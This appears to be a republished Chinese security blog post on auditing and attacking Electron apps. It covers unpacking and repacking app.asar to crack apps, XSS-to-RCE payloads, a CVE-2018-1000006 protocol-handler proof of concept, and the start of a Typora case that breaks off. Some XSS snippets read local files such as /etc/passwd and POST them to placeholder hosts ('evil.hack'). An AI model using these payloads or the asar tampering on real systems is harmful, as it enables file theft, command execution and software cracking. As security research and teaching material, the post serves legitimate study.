zoukankan      html  css  js  c++  java
  • electron审计及攻击链研究

    0x00 前言

    electron是一个流行的桌面应用开发框架,允许开发者使用web技术和nodejs结合来迅速开发桌面应用. 不过由于使用了js等, 也引入了xss漏洞,通常如果能在electron应用发现xss就可以rce。

    0x01逆向

    “ asar ”文件是“带有索引的简单的类似tar的广泛存档格式”,Electron提供了一个npm软件包来管理这些文件(打包/提取)。但是,此文件未以任何方式进行加密,混淆或保护。攻击者可以对这些文件进行任何修改,然后重新打包文件而无需修改实际可执行文件的签名。此外,这种攻击在所有操作系统上均有效。

    Electron跨平台程序破解

    Electron封装的跨平台程序破解的一般思路:

    • 安装npm(至于如何安装,网上教程很多,不赘述)
    • 安装好npm后执行命令安装asar:npm install asar -g
    • 以macOS平台为例,在Prepros.app/Contents/Resources下找到app.asar,其他平台方法类似
    • 用asar命令解包:asar e app.asar tmp
    • 到步骤4中建立的tmp目录下找到对应的js文件hack之。
    • 破解完后重新封装程序 :asar p tmp/ app.asar,破解完成。

    这里有时候会遇到个坑就是:不能把文件叫取名为tmp,必须是app,文件夹名使用tmp后重新封装出现40g的情况,tmp重新封装会出现文件无法打包的问题

    所以正确的方法是

    • 安装npm(至于如何安装,网上教程很多,不赘述)
    • 安装好npm后执行命令安装asar:npm install asar -g
    • C:UsersyonghuAppDataLocalPrograms* esources下找到app.asar
    • 用asar命令解包:asar e app.asar app
    • 到步骤4中建立的app目录下找到对应的rendderer.js文修改
    • 破解完后重新封装程序 :asar p app/ app.asar,破解完成。

    0x02 审计思路

    各个目录的目录结构不一定,但都有一个主文件 如 main.js. 在这里处理应用的启动

    在最简单的应用版本中,一个Electron文件包含下面三个文件:index.jsindex.htmlpackage.json

    我们检查的第一个目标是package.json,其中包含了所有应用入口点的对应文件路径:

    {
      "name": "Example App",
      "description": "Core App",
      "main": "app/index.js",
      "private": true,
    }
    

    如上例子,入口点是位于app文件夹中名为index.js的文件,该文件将会作为主进程执行。如果没有特别的指定,index.js是默认的主文件。文件index.html和其他的web资源被用在渲染进程中,用来展示真实的内容给用户。一个新的渲染进程(renderer process)在主进程(main process)实例化每一个browserWindow时被创建。

    自定义url协议

    electron应用可以注册自己的url 协议 例如custom://, 使得可以通过浏览器直接打开应用. 这里对url协议的处理不当可能导致rce等 例子.

    注册url的代码例子如下

    const protocol = electron.protocol
    
    // handles links `todo2://<something>`
    const PROTOCOL_PREFIX = 'todo2'
    
    function createWindow () {
      mainWindow = new BrowserWindow({ 1000, height: 800})
      // handle url protocol
      protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
        const fullUrl = formFullTodoUrl(req.url)
        devToolsLog('full url to open ' + fullUrl)
        mainWindow.loadURL(fullUrl)
      })
    }
    

    domxss

    Electron 中的 DOM 操作必须更精细,严格转义是必要的。(渲染进程中可以使用 Node 函数) 基于这个特性,攻击者可以在此之中插入 Node 函数用于攻击, 比如,这是一个普通的 XSS 实例:

    // xss_source 是攻击者可以控制的字符串
    elm.innerHTML = xss_source; // XSS!
    

    攻击者可以以下面的方式利用:

    // 弹计算器
    <img src=# onerror="require('child_process').exec('calc.exe',null);">
    // 读取本地文件并发送
    <img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
    fetch('http://evil.hack/', { method:'POST', body:s });">
    
    lectron 的架构问题
    • 浏览器窗口默认支持加载file://
    • 并没有与普通浏览器一般的地址栏
    本地文件信息窃取

    我们发现在默认情况下,Node 语句是可用的。 但是,如果开发者禁用了 Node 语句:

    // main.js 节选
    win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
    win.loadURL(`file://${__dirname}/index.html`);
    

    这种情况下,我们注入的 Node 语句不生效,可造成的威胁降低了。 看起来,在创建 BrowserWindow 的时候禁用 Node 语句是必要的。 但是,如果 Node 语句被禁用,Electron 会变得很鸡肋。

    如果开发者执意禁止 Node 语句,我们依然不是无计可施的。 以刚刚的 main.js 为例,我们可以通过xhr来做更多的事情。

    var xhr = new XMLHttpRequest();
    xhr.open("GET", "file://c:/file.txt", true);
    xhr.onload = () => {
      fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
    };
    xhr.send( null );
    

    通过上面的代码,我们可以读取本地文件并将其发送出去。 这使得开发者在牺牲 Electron 的实用性禁用 Node 语句后, XSS 依旧十分强大。

    0x03 实战案列

    CVE-2018-1000006:Electron远程代码执行漏洞

    影响范围

    Electron < 1.8.2-beta.4、1.7.11、1.6.16 的版本

    漏洞环境搭建

    先把环境搭建出来,将存在漏洞的Electron 1.7.10压缩包下载至本地,双击electron.exe运行。(实现环境下直接将写的代码用鼠标拖至Electron窗体里即可运行。)

    img

    确认项目没有问题后,即可进行后续的漏洞分析工作。

    PoC的构造

    通过漏洞公告可以知道,漏洞存在于app.setAsDefaultProtocolClient()方法。

    昨天捅咕了半天,没啥进展,今天先知上有大佬发了分析文章(Electron < v1.8.2-beta.4 远程命令执行漏洞-【CVE-2018-1000006】),学习一发,PoC采用原作者提供的。

    将存在漏洞的项目拖至electron.exe窗体中即可运行。

    img

    img

    PoC(from CHYbeta/CVE-2018-1000006-DEMO):

    <html>
    <head>
    	POC for CVE-2018-1000006
    </head>
    <body>
     <a class="protocol" href='chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a>
    </body>
    </html>
    

    img

    点击超链接,则会触发这个RCE,实现命令执行。

    原理浅析

    由官方的漏洞公告可知,该漏洞存在位置app.setAsDefaultProtocolClient(),在仓库中全局搜索SetAsDefaultProtocolClient(electron/electron),由于该漏洞仅影响Windows系统,则关注下browser_win.cc#L212(https://github.com/electron/electron/blob/6bc7c8cc496a2bd899b2511de39f8fa1b0d7147c/atom/browser/browser_win.cc#L212),该函数的主要的功能是实现注册表键值的注册。

    bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
                                           mate::Arguments* args) {
     // HKEY_CLASSES_ROOT
     //    $PROTOCOL
     //       (Default) = "URL:$NAME"
     //       URL Protocol = ""
     //       shell
     //          open
     //             command
     //                (Default) = "$COMMAND" "%1"
     //
     // However, the "HKEY_CLASSES_ROOT" key can only be written by the
     // Administrator user. So, we instead write to "HKEY_CURRENT_USER
     // SoftwareClasses", which is inherited by "HKEY_CLASSES_ROOT"
     // anyway, and can be written by unprivileged users.
    
     if (protocol.empty())
       return false;
    
     base::string16 exe;
     if (!GetProtocolLaunchPath(args, &exe))
       return false;
    
     // Main Registry Key
     HKEY root = HKEY_CURRENT_USER;
     base::string16 keyPath = base::UTF8ToUTF16("Software\Classes\" + protocol);
     base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);
    
     // Command Key
     base::string16 cmdPath = keyPath + L"\shell\open\command";
    
     // Write information to registry
     base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
     if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
         FAILED(key.WriteValue(L"", urlDecl.c_str())))
       return false;
    
     base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
     if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
       return false;
    
     return true;
    }
    

    通过运行regedit打开注册表编辑器可以看到

    img

    运行PoC,点击构造好的超链接(payload),注册表中的%1则会替换为payload,

    chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
    

    payload中的双引号闭合掉前面的双引号,最后形成如下所示命令

    elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"
    

    通过第3个参数带入Chromium实现命令执行:--renderer-cmd-prefix=cmd.exe /c start calc

    缕一下攻击场景和完整的利用思路:

    0、程序开发时调用了存在漏洞的函数,实现用户自定义协议的注册,拿我这个来说注册了test协议,那当用户访问test协议下的资源时,就会启动该程序访问(test://xxx)

    app.setAsDefaultProtocolClient('test')
    

    1、程序启动时会在注册表中注册键值(%1是占位符,用于接收用户输入的参数)

    "E:elec_rce.exe" "%1"
    

    2、执行PoC时,通过刚刚程序注册的test://自定义协议触发

    test://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

    3、payload带入占位符%1,同时闭合双引号,通过后续的参数--renderer-cmd-prefix,传递至Chromium,实现命令执行

    如何在Typora编辑器上实现远程命令执行

    我们知道,针对Electron应用,大部分时候我们只要找到了XSS漏洞,也就约等于完成了命令执行。所以,我们祭出祖传的XSS payload一顿打,惊喜发现没有任何弹窗。通过简单研究我们发现,Typora作者在研发的时候采用了cure53的DOMPurify过滤了预览输出的html,缓解了大部分的XSS攻击。

    那这个编辑器就没有漏洞了吗?

    当然是不可能的。Kein System ist sicher.

    有人可能会想到一个神奇的标签

  • 相关阅读:
    【Codeforces 349B】Color the Fence
    【Codeforces 459D】Pashmak and Parmida's problem
    【Codeforces 467C】George and Job
    【Codeforces 161D】Distance in Tree
    【Codeforces 522A】Reposts
    【Codeforces 225C】Barcode
    【Codeforces 446A】DZY Loves Sequences
    【Codeforces 429B】Working out
    【Codeforces 478C】Table Decorations
    【Codeforces 478C】Table Decorations
  • 原文地址:https://www.cnblogs.com/Mang0/p/13269450.html
Copyright © 2011-2022 走看看